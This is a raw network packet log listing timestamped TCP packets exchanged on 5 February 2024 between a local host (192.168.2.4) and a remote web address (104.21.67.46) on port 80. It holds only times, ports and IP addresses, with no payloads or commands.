Feb 5, 2024 10:57:31.187433958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.187473059 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.187510014 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.187531948 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.187549114 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.187586069 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.187602997 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.196032047 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196094036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196111917 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.196136951 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196188927 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196208954 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.196229935 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196290016 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.196432114 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196475029 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196511984 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196530104 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.196552038 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196590900 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.196608067 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.197208881 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.197248936 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.197287083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.197289944 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.197324991 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.197361946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.197374105 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.197432995 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.198059082 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198101044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198138952 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198179007 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198180914 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.198218107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198260069 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.198816061 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198856115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198903084 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.198947906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.198988914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199028015 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.199044943 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199115038 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.199667931 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199743032 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199781895 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199820995 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199860096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.199875116 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.199918032 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.200500965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.200547934 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.200584888 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.200592995 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.200628996 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.200664997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.200670004 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.200762033 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.201301098 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.201358080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.201395035 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.201430082 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.201435089 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.201472998 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.201638937 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.202184916 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.202248096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.202286005 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.202300072 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.202323914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.202362061 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.202411890 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.202517033 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.202999115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203038931 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203075886 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203111887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203146935 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.203147888 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203282118 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.203815937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203856945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203892946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203893900 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.203933001 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203973055 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.203979015 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.204125881 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.204670906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.204709053 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.204746008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.204787970 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.204799891 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.204843998 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.204888105 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.205421925 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.205461979 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.205499887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.205504894 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.205542088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.205579042 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.205600023 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.205670118 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.206217051 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.206361055 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.206401110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.206425905 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.206440926 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.206480026 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.206499100 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.207056999 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207076073 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207094908 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207108974 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.207123041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207148075 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207163095 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.207202911 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.207858086 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207878113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207897902 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207916021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207933903 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.207936049 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.207966089 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.208678961 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.208731890 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.208755970 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.208775997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.208792925 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.208812952 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.208827972 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.208868027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.209510088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.209587097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.209608078 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.209626913 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.209641933 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.209645987 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.209686995 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.210402012 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.210422039 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.210439920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.210454941 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.210458994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.210479021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.210498095 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.210545063 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.211179972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.211199045 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.211246014 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.211272001 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.211294889 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.211313963 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.211348057 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.211957932 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212007999 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.212037086 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212055922 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212074041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212091923 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212106943 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.212141991 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.212821960 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212873936 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212892056 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212910891 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212925911 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.212934017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.212966919 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.213659048 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.213679075 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.213701010 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.213716030 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.213718891 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.213745117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.213761091 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.213819027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.214468002 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.214488029 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.214507103 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.214523077 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.214534998 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.214541912 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.214577913 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.215416908 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.215435982 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.215454102 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.215468884 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.215475082 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.215493917 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.215495110 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.215540886 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.216182947 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216223001 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216257095 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216285944 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.216289997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216325045 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216339111 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.216932058 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216968060 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.216989994 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.217016935 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217052937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217065096 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.217088938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217138052 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.217780113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217819929 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217854977 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217869997 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.217910051 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217945099 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.217958927 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.218559027 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.218617916 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.218621016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.218657017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.218692064 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.218708992 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.218725920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.218770027 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.219405890 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.219440937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.219491959 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.219517946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.219552994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.219587088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.219604969 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.220675945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.220710993 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.220731020 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.220746994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.220782042 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.220805883 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.220814943 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.220869064 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.221194983 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221230030 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221266031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221288919 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.221306086 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221342087 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221359015 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.221921921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221961975 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.221992016 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.221997023 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222033024 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222054005 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.222069025 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222126007 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.222768068 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222801924 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222836971 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222868919 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.222878933 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222918987 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.222934961 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.223525047 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.223561049 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.223579884 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.223596096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.223628044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.223645926 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.223663092 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.223711967 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.224383116 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.224428892 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.224462986 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.224481106 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.224498987 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.224533081 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.224549055 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.225183964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.225239038 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.225256920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.225294113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.225326061 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.225341082 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.225362062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.225415945 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.226044893 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226131916 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226167917 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226185083 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.226202965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226238012 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226258039 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.226840019 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226880074 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226898909 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.226917982 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226958036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.226972103 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.227013111 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.227067947 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.227722883 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.227761984 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.227799892 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.227814913 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.227839947 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.227878094 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.227890015 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.228490114 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.228533030 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.228549957 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.228569031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.228610039 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.228629112 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.228650093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.228703022 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.229351997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.229393959 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.229430914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.229444981 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.229471922 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.229510069 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.229528904 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.230175972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.230218887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.230226994 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.230258942 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.230295897 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.230313063 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.230334044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.230412006 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.231005907 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231045008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231086016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231112957 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.231123924 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231161118 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231173992 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.231818914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231861115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.231877089 CET	49736	80	192.168.2.4	104.21.67.46
